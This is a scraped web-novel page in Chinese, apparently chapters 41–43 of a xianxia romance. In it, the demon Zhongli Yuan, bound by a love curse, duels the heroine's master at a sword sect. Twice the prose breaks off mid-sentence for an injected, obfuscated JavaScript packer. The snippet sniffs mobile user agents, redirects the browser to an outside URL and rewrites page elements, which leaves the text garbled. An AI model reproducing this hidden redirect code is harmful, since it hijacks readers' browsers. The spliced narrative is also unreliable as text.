门“吱呀”一声推开,红衣少年风尘仆仆地闯进来,带着一身寒气。辞盈忍不住打了个寒颤。 他看了辞盈一眼,没吭声,从怀里掏出一颗透明的大玻璃球。 …… 就这?还用得着问萧阳吗?我也有啊,校门口五块钱十个,里头还有花纹呢。 辞盈看着钟离渊阴沉的脸,到嘴边的吐槽又咽了回去,乖巧地笑道:“你回来啦,有没有受伤?” 纯粹客套话。她其实真正想问的是,哥,萧阳还活着吗?水云剑宗的人都还活着吗? 任平生接过玻璃球,临出门还胸有成竹道:“就是它,我拿去药里煮一会儿就好了。” 煮一会儿…… 自己听听像话吗?您这是灵珠还是肉桂啊? “等下你也喝一碗药吧,别被我传染了。”辞盈说。 钟离渊气得脸都绿了,根本不想坐下。可看看榻上躺着的人,面无血色,一副随时可能断气的样子,又实在不放心。于是进退两难,只能被罚站似的戳在原地,像根挺拔的竹子,又翠又硬。 “陪我待一会儿好不好?”她气息虚弱,却笑得灿烂。 钟离渊终于别别扭扭地坐到围榻椅上,脸色依然难看得要死。她伸出手,轻轻勾他的手指:柔声道:“你在生我的气吗?” 钟离渊盯着她,沉声道:“如果没有相思咒,我现在就杀了你。” 41. 哄完你的哄你的 辞盈指尖一颤,却仍死死攥着他冰得刺骨的手,声音发紧:"对不起,是我连累你难受了。" "你确实该对我道歉。"钟离渊的目光如寒潭,沉沉压过来,"我从来没这么憋闷过,哪怕是被压在天罡塔下也比现在痛快。" 他抽出手,声音阴郁凉薄,如毒蛇般湿滑地钻进耳膜:“你控制我,锁着我,你比铁链穿过琵琶骨更狠毒。” 辞盈绷紧嘴唇,不敢眨眼,怕眼眶里打转的湿意会掉出来。 自从中了相思咒,他从没对她这么凶过。她像被宠坏的孩子突然挨了骂,委屈在喉咙口翻涌,偏又被更深的愧疚压下去。 他是她的底气,她却是他的枷锁。 钟离渊在暗无天日的塔底压了三百年,好不容易逃出生天,本来天高海阔,无处不可去。如今却被她束缚在身边,还要陪她累,陪她疼,陪她受那些窝囊气。 三千功德是她自己的目标,与他何干? 她自觉有亏于他。可是相思咒无法可解,何况这种情况一旦解开,她便无异于是在自杀,还不如直接找根绳子上吊更方便快捷。 “对不起。” "我不想听这个。"他别过脸。 除了对不起,她实在不知道还能说什么。 门被推开一道缝,任平生瞥见满室冰封的气氛,药碗往门槛上一搁,溜得比兔子还快。 钟离渊沉着脸把药端过来,又扶着她坐起来,试了试温度才将碗递给她,冷冰冰道:“自己喝。” 辞盈咬着唇,小声试探:"我能求你件事吗?" 他眼睛微微眯起:"用喝药威胁我?" 她使劲儿摇头:“当然不是,我喝我喝。”说完仰起头一口气干了,又弱弱地问,“现在我能说了吗?” 钟离渊用指腹轻轻拭去她唇边残留的药液:“嗯。” 辞盈试探着问:“那个,圣灵珠……我能不能拿走?” 他刚刚有所缓和的脸上瞬间又凝了一层霜,森然道:“然后呢,送给你师尊?” 他太过严肃可怕,辞盈想说是又不敢说,只好微微点了点头,却立刻就后悔了。因为他的脸色已经不能用阴沉来形容,感觉就是气氛到了,不杀个人都很难收场。 他一抬手把药碗扫飞,摔了个稀碎,咬牙切齿道:“你就这么怕他娶别人?” 辞盈哑着嗓子解释:“疫病死了多少人你也看见了,我只是想把圣灵珠送回去救人。” “那我就把圣灵珠还给萧阳,你师尊不是厉害么,要救人可以自己去抢。” “我师尊怎么可能做这种事?” 钟离渊眉毛一挑:“你的意思他是君子,只有我这样的小人才会去抢别人的东西?” 辞盈深吸一口气,无奈道:“我没有这个意思,你好歹也是魔王祖宗了,别跟一缸三百年的醋精似的行吗?” 钟离渊气得脸更绿了,转身就要走,却被她拽住衣袖。 “做完这件事,我就跟你走。” 他身形一顿,蓦地回头,见她正凝望着自己。不知是不是错觉,她分明没有笑,却总是眼睛弯弯,饱含笑意。 “从此以后,我再也不踏进水云剑宗一步。我们一起回逍遥山庄,好不好?” 暮苍山上一片庄严肃静。 云麓殿门口停着一头妖兽似牛似鸟,头上无角却面如青牛眼珠瞪圆,背上生翅却光溜溜没有羽毛,正是萧阳的坐骑赤患,凶悍丑陋吓得剑宗弟子纷纷绕路而行。 云麓殿内,萧阳坐得四平八稳,面上胸有成竹,一改往日孤傲的做派,和气地谈笑风生。 一旁坐着的萧无忧不似那日火辣,穿了一套姜红色碧荷纹绛纱裙,玉白的肌肤若隐若现,长发挽起,玉钗松簪,倒有几分大家闺秀的味道。 水云剑宗这边,除了江鹤川和墨让尘,诸位长老都坐在一旁,身后站着一众得力弟子。 游乘风目不斜视站在首位,彬彬有礼,儒雅端方,真是长了一张哪个老人家看了都想拉来做女婿的脸。 相比之下,旁边的江羡之心不在焉地一会儿抬头望天,一会儿低头看鞋,甚至还不时偷瞄窗外的白芷,气得江鹤川狠狠瞪了他好几眼。 “清衍真人,我带着十足的诚意而来,在你这叨扰多时,今日总算等到墨宗主归来。墨宗主乃是人中龙凤,冠绝时辈,既有问鼎天下之能,不失悲悯苍生之心,果然是后生可畏。” “十足的诚意”自然是指圣灵珠。 可惜这“诚意”早被人强取豪夺走了。 昨夜他正在房中打坐,忽然感应到一阵暴戾的杀气突奔袭来,他猛地睁眼,红衣银发的少年已经近在咫尺,鬼魅般盯着他。 “圣灵珠给我。” 钟离渊并没有掐住他的脖子,甚至没有任何动作,可是逼近的杀气却令他如同被扼住喉咙一般几欲窒息。 雷云起横飞的脑袋把萧阳砸出了阴影,一看见钟离渊他就觉得胸口疼,心里的迟疑大概只有一瞬,便立刻将圣灵珠双手奉上, “诚意”虽贵,保命要紧。 然而此事绝不可外传,否则除了被外界嘲笑,他也没法跟宝贝女儿交代,面子里子都丢了。 所以他此刻是气定神闲地在骗婚。 近年来,玄武教和九曜派各凭着歪门邪道,不择手段地日益壮大起来。而水云剑宗端着名门正派的架子,一直谨守本分,收徒要挑资质,行事要走流程,不论是人数还是规模都逐渐落了下风。 江鹤川眼见门派日渐式微,又没法说服墨让尘放弃原则,心中难免焦虑,恐怕有一日那两个门派联手打上门来难以抵挡。 他正不知该如何斡旋拉拢,萧阳竟然主动上门示好,真是正中下怀。江鹤川喜怒不形于色地忍了又忍,才把心里的高兴劲儿压下去。 他像个替儿子相亲的老父亲,笑得慈祥:“让尘宅心仁厚,不忍见灾民受苦,让萧兄久等了。此番还是我送信说剑宗有疫,他才肯回来,否则不知要忙到何时。” 萧阳摆摆手道:“男儿顶天立地,不拘小节,理当以大局为重。若是那些庸碌之辈,整日耽于儿女情长,我也不能放心将我唯一的宝贝女儿托付给他。” 江鹤川点头道:“萧兄此时带来圣灵珠,无异于雪中送炭。令爱是水云剑宗的贵客,必不会让她受半分委屈。” 萧阳哈哈笑道:“我这女儿从小被我宠坏了,日后若有什么错处墨宗主可要多担待。” 萧无忧并不羞怯,挑眉瞪眼,不服气地笑道:“爹,我哪有那么差!” 满堂附和捧场的笑声中,冒出一个不和谐的声音: “担待不了。” 墨让尘向来温润如玉,极少这样苛刻地讲话,众人一时都没反应过来,以为自己听错了。 江鹤川眼皮直跳,忙打圆场道:“萧兄远道而来,水云剑宗须尽地主之谊。我已着人备好饭菜……” “咳咳……”站在后头的江羡之尴尬地咳嗽两声,“爹,我刚才来之前听见卓师傅正在后厨破口大骂……说他又不是萧阳的狗,不做玄武教的饭……” 神识传音只有江鹤川能听见,老头接连被怼,气得七窍生烟。众人不知缘由,只看见江鹤川脸上青一阵儿紫一阵儿,难堪得很。 卓雁行跟萧阳的过节也不是一天两天了。 当年叶棠被凶兽梼杌咬伤,生命垂危之际,是卓雁行第一时间去药王谷,不知用什么法子向霍圣求来了唯一一颗起死回生的神丹。 他信誓旦旦答应了霍圣此事绝不外传,却不料还是有人走漏了风声,将此事传到了萧阳耳朵里,惹出一场灭门大祸。等卓雁行赶到药王谷的时候,只看见尸横遍野,草木成灰,满目疮痍的惨状。 自那之后,卓雁行便与萧阳决裂,连面也不愿再见。他自认失信于人,没脸再做门派长老,才主动退到后厨开启了颠勺生涯。 萧阳见江鹤川满脸尴尬,原因大概也猜到了几分,当下笑道:“清衍真人不必客气,我随行带来的都是有些道行的弟子,业已辟谷。咱们眼看就是一家人了,无需多礼。” 大概是“一家人”三个字太刺耳。墨让尘忍无可忍,霍然起身,不卑不亢道:“玄武教若愿相助,日后必涌泉相报。若不能相助,我宗也不强求。事务繁忙,恕不奉陪。” 话音落,竟抛下一屋人拂袖而去。 众人一片愕然,唯有萧无忧追出门外:“墨让尘——!” 那人眉目如画卷,衣摆似流云,连背影都清雅矜贵,气若谪仙。 萧无忧狠咬着嘴唇,落下泪来。 客栈长乐居。 任平生鬼鬼祟祟地扒到窗边刚想偷听动静,旁边的门忽然被踹开,吓得他一蹦三尺高,见钟离渊打横抱着大病初愈半死不活的辞盈,一脸凶狠好像要去杀人。 任平生吃饱了撑的闲贫:“刚治好的小美人就要扔了?太浪费了,要不你给……”我字还没出口他就紧急刹车,缩了缩脖子,已老实。 看那位的眼神,再敢多说一个字他就当场领盒饭了。 一声口哨,鸣蛇又双叒叕神出鬼没地出现了。 水云剑宗山门值守的弟子正在无聊犯困,有眼尖的指着天际惊叫:“那是什么?!” 苍穹云顶之下,巨蛇吐着猩红长信,翻江倒海而来,鳞甲在阳光下泛着冷光。背上似乎载着两个人,待飞近些再看,却是一对年轻漂亮的璧人。 鸣蛇轰然落地,听从主人的吩咐乖乖地盘踞在一旁。细看之下那少女脸色苍白,隐有病容,疲惫地依偎在红衣银发的少年怀中,侧抬着头,柔声细语地嘱咐着什么。 随后她向众人略一点头算是施礼,客气道:“烦请诸位师兄通报一声,我是宗主的亲传弟子辞盈,想见江羡之师兄一面。” 圣灵珠这样的东西,自然不能随便由人转交。可是若见了墨让尘,场面恐怕就不可控了,所以交给江羡之本来是最稳妥的选择。 可惜,领队的值守弟子迅速认出了二人,如临大敌: “钟离渊!他是钟离渊!快去禀报宗主!” 辞盈急忙道:“不行,快拦住他们。” 钟离渊略一抬手,佩剑“当啷”落地,一众弟子好像喝醉了一般,纷纷东倒西歪瘫在地上,爬不起来。 “他们……” “死不了。”钟离渊目光扫过众人,简单粗暴道,“去叫江羡之出来见我,晚一刻钟我便杀十人。” “不行,”辞盈摇头,“他们就算嘴上答应了,也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他承诺了会去找她,带她回来,终究也没能做到。灾情泛滥,他忙得焦头烂额,分身乏术。 他什么都没做到。 可眼下她像一只受惊的小鹿,又一次站在他面前,好像上天又给了他一次弥补的机会。 墨让尘暗自捏紧了袖袍,声音却淡然: “回来就好。” 话音未落,旁边一张血盆大口猛扑过来,墨让尘搂紧她的腰,陀螺似地旋转着带她轻盈地腾空而起。辞盈低头一看,方才还卖萌装乖的鸣蛇骤然变大了数倍! “小鸣,你怎么疯了?!” 辞盈想起钟离渊曾说,这鸣蛇是他幼时在莲花山救下的,又想起玉真观两个道士讲过,墨让尘在莲花山斩杀蛇妖的故事。 莫非这鸣蛇跟墨让尘之间还有些跨越了三百年的恩怨? 难怪它一见到墨让尘就突然变成这副模样,恨不得要吃人的样子。 她从未见过这样巨大可怖的鸣蛇,恨不得浑身的鳞片都炸立起来,翻张的翅膀布满赤黑的血管和筋脉,湿漉漉的嘶吼穿过尖锐的獠牙喷出细密的黑雾,看起来邪恶又狰狞。 “妖物。” 墨让尘面不改色,腰间醉花剑出鞘,蓝色剑芒划破长空,周围空气随剑意共振嗡鸣。 寥寥几剑,只听鸣蛇凄厉地哀嚎一声,轰然坠落,青绿肚皮上汩汩地流出暗红色蛇血。 辞盈大惊,眼看墨让尘剑意锋利无匹就要斩杀鸣蛇,急忙阻拦:“别杀它!师尊等一下!” 可是墨让尘的剑太快,不待她说完,已经携横断天河之威劈斩下来。 剑气浩然,势要将鸣蛇碾碎成齑粉。 千钧一发之际,一道炽烈红光横空杀出,硬生生接下这一剑!两股力量相撞,地动山摇,扬起黄沙漫天,迷得人睁不开眼。 剑意激荡的强风将周围值守的弟子都掀翻飞出老远。墨让尘一手持剑,腾出来的另一只手牢牢地揽住辞盈肩膀,她才没变成满地乱滚的土豆。 透过飞扬的满天黄沙,辞盈看到了钟离渊怒不可遏的脸。 那表情等于在说,今天不是你死就是你死,没别的选项,老子就是要你死。 他仿佛用了极大的力气克制自己,才能说出一句完整的话:—— “拿开你的手。” 完了,最怕发生的一幕到底还是发生了。 这地震般的巨震惊动了整个暮苍山,从树洞里的松鼠到云麓殿内议事的众人都忍不住跑出来看热闹。 在场所有人,除了墨让尘以外,都对天罡塔下钟离渊手撕九曜派掌门人头的一幕记忆犹新。因此哪怕这次有宗主坐镇,也没人敢轻举妄动。 山门高台之上,江鹤川威严遥望,正气凛然:“钟离渊,你四处作乱,滥杀无辜,竟还敢到这里来,水云剑宗岂容你放肆!” 钟离渊好像根本没听见他说话,连瞥也没瞥他一眼,依旧死死盯着墨让尘搭在辞盈肩上的手,目光锋锐如寒刃,恨不得将那整条手臂卸下来剁碎。 辞盈不由自主地紧张起来,呼吸都乱了方寸。 墨让尘感觉到身边人似乎在抖,搂着她的手在她肩头轻轻按了一下,温声安抚:“别怕,我在。” …… 就是你在我才更怕啊! 42. 求你,不要 怎么办,现在说点儿什么才能阻止这场一触即发的恶战? 说我要离开水云剑宗跟钟离渊走?师尊怎会应允。 说让钟离渊自己先离开?那无疑是火上浇油,以他的性子,非得一把火将暮苍山烧成灰不可。 手心手背都是肉,直接躺下满地打滚耍赖行不行?你们干脆把我弄死算了。 隔着老远,辞盈眉头紧皱,郑重地对钟离渊摇了摇头,用唇语对他说:信我,别动手。 还来不及说别的,一个不知死活又轻快的声音从身后人群中传来:“小盈你真的回来了!我就知道你不会不管师尊的!” …… 拳头硬了! 江羡之这智障儿童! 辞盈回过头用要杀人的眼神狠狠剜了他一眼,能不能别添乱了! 然而紧接着更多呼声此起彼伏: “请宗主为民除害!” “钟离渊,你还不快滚!” 眼看着钟离渊怒意更盛,手指蜷动了一下,辞盈立刻向前一步,拦在墨让尘身前,声音带着恳求和急切:“再给我一天时间,不,半天就好!” 钟离渊却不看她,凌厉目光越过她肩头,直刺身后的墨让尘,语气轻蔑:“就这点能耐?只敢躲在自己徒弟身后?” 墨让尘眸色骤沉,掌心蓝光乍现,反手一推,辞盈已如笼中雀般被透明光罩困住。 这“画地为牢”之术坚不可摧,一旦锁住,内里插翅难飞,外部铜墙铁壁,只要施法者不撤术,光罩中的人可谓是绝对安全。 墨让尘直面钟离渊毫无惧色,竟还能分神维系法术,水云剑宗上下无不震惊又振奋,一时军心大振,视宗主如神明降世。 连萧阳也忍不住点头赞许,暗忖女儿虽娇纵,眼光倒是不俗。 辞盈在光罩里急得跳脚:“不是,师尊你三百岁了还这么容易被激上头吗?你锁我干嘛?放我出去啊!” 墨让尘充耳不闻,抬手间,光罩竟如氢气球般轻飘飘升起,“砰”地落在一旁——那位置,分明是最佳观战席,不远不近,正好将战局看得一清二楚。 辞盈:“……” 什么意思?还给我个vip专座看你俩决斗是吗?您二位是从动物世界里跑出来的雄狮吗? “有意思。跟我交手还敢分心。” 钟离渊的视线扫过醉花剑柄下系着的一抹赤色。 那是一枚精巧的手工编织剑穗,如花瓣盛开的形状,落在钟离渊眼里,像一枚烧红的针,扎眼得很。 辞盈说过,那叫平安结。以前系在她剑上,后来收在他怀中,贴身放着。此刻却出现在另一个人的剑柄上。 钟离渊盯着它,甚至能想象她低着头专注编织的样子,她还会含着笑,亲手为那个人系在剑柄上。 心心念念的是他,要保他平安么。 我偏不允。 腕间银镯缓缓升空,骤然膨胀数圈,化作一只坚硬锋利的圆环。随着钟离渊眼中厉色一闪,银镯如闪电破空,直扑墨让尘。 辞盈惊得瞪大眼——她一直以为这银镯只是他用来装逼的时尚单品,却不知道它竟然是个这么凶悍的武器! 墨让尘衣袂翻飞,闪避极快,银镯环扑了个空,直接将他身后的岩石撞了个粉碎,随即又急转而回,穷追不舍穷凶极恶,简直跟主人一个德性,发起狠来比恶鬼还难缠。 与此同时,墨让尘的醉花剑凝聚起流转不息的灵光,势如长虹,瞬息万变地与钟离渊缠斗起来。 两个人被两样兵器追着打,各打各的,互不干扰。墨让尘剑如其人,轻盈灵活,变幻莫测。而钟离渊的银镯环却迅捷如闪电,狠辣又强硬。一红一蓝两道灵光斗了许久,竟没有看出胜负势头。 可墨让尘还分心维系着光罩,却丝毫未落下风,显然尚有余力。 剑宗众人顿时欢呼:“宗主赢定了!杀了他!” 唯有辞盈在光罩里紧张得屏住了呼吸。 她看得真切,钟离渊根本没出全力。 他招式看似凶狠致命,眼底却藏着戏谑,仿佛这不过是场不值得认真的游戏。 他到底在等什么?等墨让尘耗尽体力?有这个必要吗? 辞盈扒在玻璃般的光罩上,死死盯着战局,额头沁出冷汗。 钟离渊敏捷躲过醉花剑刃,蓦地转头对上她的目光,勾了勾嘴角,露出个意味深长的笑。 一股寒意顺着辞盈脊背窜上头顶,她猛地睁大眼睛—— 他在耍给她看! 他要让她亲眼看着,她最崇拜的师尊是怎样被他玩弄于股掌之间,然后被他击败,甚至虐杀。 “不行!钟离渊!绝对不行!”辞盈疯狂地拍打着光罩大喊。 她想以灵力冲开光罩,又怕分了墨让尘的神。高手过招,胜负只在毫厘之间,绝不能有丝毫差池。一时之间,她心急如焚,却只能眼睁睁看着。 然而不等她的焦虑影响到墨让尘,钟离渊已经感同身受般眉头一皱,身形微滞。就是这一瞬间的停顿,醉花剑已划破他肩头红衣,留下一道血口。 这一剑仿佛刺破了所有人的顾虑,人群顿时鼎沸,呼声震天:“杀了他!” 连江鹤川也坐不住了,肃然开口:“让尘,除恶务尽,切忌心慈手软。” 钟离渊眼中怒色暴涨,银镯出招愈发急促凶残,来势汹汹,几乎避无可避。墨让尘索性飞身而上,紧握醉花剑,以攻为守,直刺钟离渊胸口。 醉花剑以迅捷和招式善变闻名,没有人能在这么近的距离内躲闪得开。正常来说,钟离渊应该召回银镯环格挡。 可他没有。 他毫不犹豫地挺身迎上来,掌心聚力直接向墨让尘击去。 这是同归于尽的打法! 这个疯子! 墨让尘大惊,再想躲闪已来不及,只能运气硬挡。醉花剑刺入钟离渊胸膛的瞬间,他只觉一股巨力仿佛将自己贯穿,喉头一甜,鲜血喷涌而出,长剑脱手,整个人被撞得横飞数丈,瞬间昏死过去。 “师尊——”江羡之吓得魂飞魄散,求助地扑向面色凝重的江鹤川,“爹!” 萧无忧尖叫着要往前冲,却被萧阳死死按住:“不许胡闹!” 暮苍山上一片死寂,连草丛里叫嚣的虫都闭了嘴,凉风席卷着阴雨压抑了空气。 局势变换得猝不及防,钟离渊的实力深不可测,没有人敢说话,更没有人敢上前找死。 随着墨让尘昏迷,画地为牢的光圈陡然消失,辞盈连滚带爬地冲到两人中间,先看看胸口还在汩汩流血的钟离渊,再看看生死未卜的墨让尘,头疼得要炸了。 “你怎么样?有没有伤到要害?”辞盈看他伤口很深,精神却十足,感觉还能再战三百回合的样子。 钟离渊根本不理会自己血肉模糊的伤口,衣襟已被鲜血浸透。苍白俊俏的脸上溅了血痕,更显妖邪鬼魅。他用手背抹掉眼角迸溅的血,一步一步,平稳地走向墨让尘,眼中杀意翻腾。 辞盈惊恐地摇头,泪意瞬间涌上来:“求你了,钟离渊,别伤害我师尊,我求你了!” 钟离渊心口突然传来剧烈绞痛,如刀割般痛入骨髓,那是辞盈此刻的惊恐与悲伤,通过相思咒传到了他身上。可这痛楚非但没让他停手,反而像火上浇油,让他愈发无法忍受。 她就这么在乎墨让尘?就这么见不得他受伤? 她终究还是忘不了她的师尊,对自己只是假意逢迎罢了。 他要杀了墨让尘,哪怕心脏会绞痛爆裂开,也一定要杀了墨让尘! 钟离渊面沉似水,凛然道:“让开。” “不行,师尊对我有恩,你不能杀他!”辞盈扑过去抓住他的手,带着哭腔恳求,“钟离渊,我跟你走,我现在就跟你走,你放过他,好不好?” 钟离渊凝视着她,眼底复杂的情绪翻涌。 所以你是为了救他,才不得不违心地跟我走,是吗。 横竖求不来你的情愿,我不如索性做个恶人。 分不清是相思咒的作用还是胸口的伤,钟离渊只觉得胸中疼痛愈来愈烈,连呼吸也拉扯着剧痛,他杀心已定,冷笑道:“我杀了他,你也得跟我走。” 说完,他挥袖一甩,将辞盈弹飞出去。 银镯寒光一闪,势不可挡地射向昏迷的墨让尘。 剑宗弟子们惊惧交加,纷纷不忍地闭上眼。 “锃!” 一声脆响,一柄单薄的剑身斜刺里飞来,擦过钟离渊的手臂,将银镯撞得偏离轨道,堪堪在墨让尘颈边的地面砸出个深坑。 若非辞盈拼死掷出这一剑,墨让尘此刻已身首异处。 钟离渊无视胸口深可见骨的伤口,反而低头看着自己手臂上被剑刃擦破的皮肤,再抬头时,淡棕色的瞳孔里已满是震惊,声音低沉阴冷得如同深潭寒冰:“为了他,你要杀我?” 辞盈从远处跌跌撞撞地跑回来,却被一道红光束缚住,钉在原地。她死命挣扎,徒劳无功。人动不了,只能放狠话:“钟离渊,你若真杀了我师尊,我永远都不会原谅你,你再也别想见到我!” 钟离渊眼中厉色更深:“你以为你做得了主!” 情急之下,辞盈口不择言:“怎么不能?我陪他一起死了便是!” 此言一出,钟离渊非但没被劝退,反而气得脸色煞白,握着银镯的手指骨节咔咔作响:“我倒要看看,你有没有本事在我面前死得成。” 他指尖一动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137462|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红光流转,辞盈仿佛瞬间被人抽成了真空,连站着的力气也没有了,膝盖一软便瘫在地上。 她眼看着钟离渊面色阴沉似鬼,掌心红光越来越盛,燃起死亡的灼灼烈焰,顷刻间便要将墨让尘烧成灰烬! 不行!救命! 不要杀他! “钟离渊!不要!——” 辞盈歇斯底里地尖叫,指尖冰凉麻木,热血瞬间冲上头顶,几乎要晕厥过去。 相思咒深入骨髓,撕心裂肺。 “噗——” 钟离渊身形猛地一顿,大口鲜血喷涌而出。心脏像是被一只无形的手狠狠攥住,剧烈收缩,让他不由自主痛苦地弯腰弓背,几乎窒息。 掌心的赤焰骤然熄灭。他颤抖着转过头,猩红的眼睛里布满血丝,不可置信地盯着辞盈,薄唇上沾着血迹,声音支离破碎:“你真的……要杀我吗?” 一句话没说完,他又呛咳着吐出两口血沫,虚弱地喘着粗气。 辞盈震惊地望着他,半晌说不出话—— 怎会如此? 她的情绪,竟然锋利如剑,能伤他肺腑,甚至取他性命?! 身上的束缚骤然松懈,辞盈勉强撑着想要爬起来,想去看他的伤。 钟离渊银发染血,赤红着眼睛望着她,声音冷得像寒冬湖面单薄凛冽的碎冰,透着捂不化的失望:“这些日子,你可曾有一刻……想过我?” 辞盈张了张嘴,不知道该怎么说,其实她连自己的心也摸不清楚。 她一定是疯了。 明知道钟离渊对她没有真情实感,只是相思咒的幻象罢了,可她还是忍不住动了心。 说到底,也不知道究竟是谁在卑微地一厢情愿。 雨水混着殷红的血顺着他的衣襟肆意流淌满地,他的脸色愈发惨白如纸。 辞盈不忍再看,从触目惊心的血水里挣扎着爬起来,伸手去够他的衣摆,却捞了个空。 钟离渊后撤了一步,神情复杂地望着她,喉间带几分哽咽道:“你别碰我。” 辞盈愣了一下。 此刻再说什么,恐怕都显得苍白无力吧。 “对不起。”她低声说。 钟离渊没有回应,也没有再看她一眼。然后,在众人惊惧的目光中,拖着疲惫而血污斑斑的身体,一步一晃地朝山下走去。 弟子列首位的游乘风眯起眼,煽风点火道:“如今正是钟离渊最虚弱的时候,大伙一起上,难道还拿不下他?若错过这次,日后谁还能近他的身?” 萧无忧怒得涨红了脸,对萧阳道:“爹,我要杀了他!” 萧阳却沉默着。他亲身领教过钟离渊深不可测的修为,哪怕对方此刻已是强弩之末,要再杀几人也绝非难事。他可不愿做冤死鬼、出头鸟,反倒让江鹤川捡了便宜。 江鹤川亦在暗自揣测,此时出手有几分胜算。 游乘风忽然道:“既如此,便让我来试试。”说着他人未出列,只运了十足的气力,猛地将手中佩剑飞掷出去。 长剑挟金光,猝不及防,却完全没瞄中钟离渊,甚至偏的离谱。萧无忧嫌弃道:“废物,你扔太歪了!” 游乘风眸色晦暗,脸上浮现一丝不易察觉的笑。 那剑本就不是刺向钟离渊的,而是冲向辞盈的。 一来他与辞盈已经算是撕破脸,等师尊醒了,说不定辞盈还要告他一状,不如趁机斩草除根。 二来像钟离渊这样的人物,但凡还有一口气在就极难偷袭得手,与其直接刺他,不如试试他还有没有气力救人,便能探知他的伤势深浅。 本来以辞盈现在的实力,接游乘风一剑倒也不是没希望。可她刚被钟离渊抽成真空状态还没缓过来,瘫在地上连坐也坐不直。 别说接飞剑,就是直接递到她手里她都未必握得稳,只能硬着头皮看着那玩意朝自己脑袋飞过来。 铛! 名贵的长剑在钟离渊指缝间寸寸折断成废铁片,散落一地。 他姿态轻松,神色淡漠,仿佛不费吹灰之力。 暮苍山上再无人敢上前妄动。 辞盈却看得分明,他指缝中间正隐蔽地渗出血珠,气息也全然不似往日平稳,甚至感觉到他脊背硬撑的紧绷。 他伤得极重,却演得极稳。 “这就是你拼了命守护的师门?”钟离渊语气里满是嘲讽。 话音落,他腕上劲力使出两成,指缝间夹着的铁片瞬间化作最凌厉的暗器,杀回水云剑宗的人群中。 江鹤川甩出拂尘竭力阻挡,却还是漏了一片。 “啊——我的眼睛!”游乘风捂住右眼,鲜血从指缝间涌出,凄厉的惨叫在暮苍山冷漠萧瑟的风中回荡,久久不散。 43. 小土豆 云麓殿偏殿内,气氛凝重得让人不敢呼吸。 江鹤川端坐床边,手掌稳稳抵在墨让尘背心,金色灵力如暖流淌淌注入他体内,光晕在两人周身轻轻漾开。周围一圈人屏息凝神,连大气都不敢喘,生怕惊扰了这关键时刻。 半晌,江鹤川面色沉凝地收回手,刚直起身,就被江羡之像抓救命稻草般攥住手腕。 “爹怎么样?!师尊他怎么样了?啊?啊?啊?” 江鹤川有时候就怀疑这个儿子是不是喝假酒把脑子喝坏了。 他看着长大的墨让尘游乘风个个都长成了谦谦君子,恨不得走到哪儿身后都追着一群人想把女儿嫁过来。偏自己的亲生儿子好像个智障,斗鸡走狗,赏花阅柳,就是不肯在修炼上多花半分心思。 可以说,除了长得还算好看,没有一点儿他看顺眼的地方。 “成何体统!”江鹤川瞪了他一眼。 “哎呀爹!都什么时候了还管这个,师尊到底怎么样了啊?!” 客栈长乐居。 任平生挑起一筷子鸡汤面,闭着眼使劲吸了吸鼻子,鲜美的香气直往天灵盖冲。 “香,太香了。”他咂咂嘴,心里头感慨万千,人啊,还是得活着,才能继续尝遍这世间美味。 冷不丁一只冰凉的手搭上他肩膀,纤细的手指却用不太科学的蛮力捏了他一把,任平生手一抖,筷子差点儿插进鼻孔里。 “干什么?还让不让人好好吃饭了!”他勃然大怒,扭头正要发作,却对上一张俏得让人生不起气来的脸,那点火气瞬间就泄了大半。 辞盈郑重其事地冲他一点头:“回头再吃,先跟我走。” “哎我的鸡汤面!” 任平生的挣扎抗议全被辞盈无视了,她一手勾住他脖子,跟拎小鸡似的把人勒得死死的,另一手捏碎传送符,两人身影瞬间消失在原地,下一秒已稳稳落在云麓殿偏殿外。 “嘘。”她捂住任平生的嘴,向卧房内使了个眼色,“你不是一直念叨着让我带你来水云剑宗吗?喏,这就是了。” 任平生扭了扭被勒疼的脖子,将信将疑地问:“你怎么突然这么好心?你那位出手阔绰的小郎君呢?” 辞盈的神色几不可察地僵了一下,又飞快掩去,恳求道:“任大夫,我敬你是个君子,求你救救我师尊。” “等、等、等一下,”任平生竖起巴掌打断她,“我是不是君子咱先两说,你什么时候敬过我啦?你那位动不动就把我倒立拎起来欺负,还有你刚才,面都不让我吃完,知道我那碗面多少钱吗?你得赔我双倍……” 他絮絮叨叨,忽然就说不下去了。因为辞盈已经红了眼眶,一副泫然欲泣的嘴脸咬着嘴唇看着他,他要是再不接茬就显得他不仅不是君子,而且不是男人了。 任平生摆摆手:“面钱你以后想着还我就行。刚才说让我救谁?” 辞盈眼泪收放自如:“水云剑宗宗主,墨让尘。” 任平生直愣愣地盯着她想了一会儿,不情不愿嘟囔:“那你得给我双倍诊费。” 辞盈急道:“只要你救活他,我命都给你。” 任平生吓得连连摇头:“你的命谁敢要,你那位怕是敢追到阎罗殿里把阎王爷按在地上打。” 辞盈被他左一个“你那位”,右一个“你那位”说得心里堵得慌,也不知道这货收了钟离渊多少好处费,怎么天天把他挂嘴上,倒比她还惦记得勤。 她推着任平生往屋里走,任平生却忽然定住脚步:“等一下,你有面纱吗?” 辞盈愣了一下:“我师尊是受伤,不传染。” 任平生:“……” “果然美貌和智慧不能并存。这位大姐,请问萧阳是不是正在里头?” 辞盈点点头。 “那你有没有想过,或许我不想见他呢?” 辞盈恍然大悟:“噢——你是偷了他的宝贝跑出来的?” 任平生苦笑道:“我就是偷不到他的宝贝才一个人灰溜溜跑出来的。” 任平生是药王谷的后人,当年萧阳却唯独留了他一命,甚至让他在玄武教待过一阵子。萧阳究竟为何偏偏对他网开一面?任平生又为何会在这水灾疫病四起的时候,跑到水云剑宗来凑热闹? 辞盈琢磨了半天没头绪,索性不想了。她在乾坤袋里翻来翻去,最后掏出一张花里胡哨的床单。 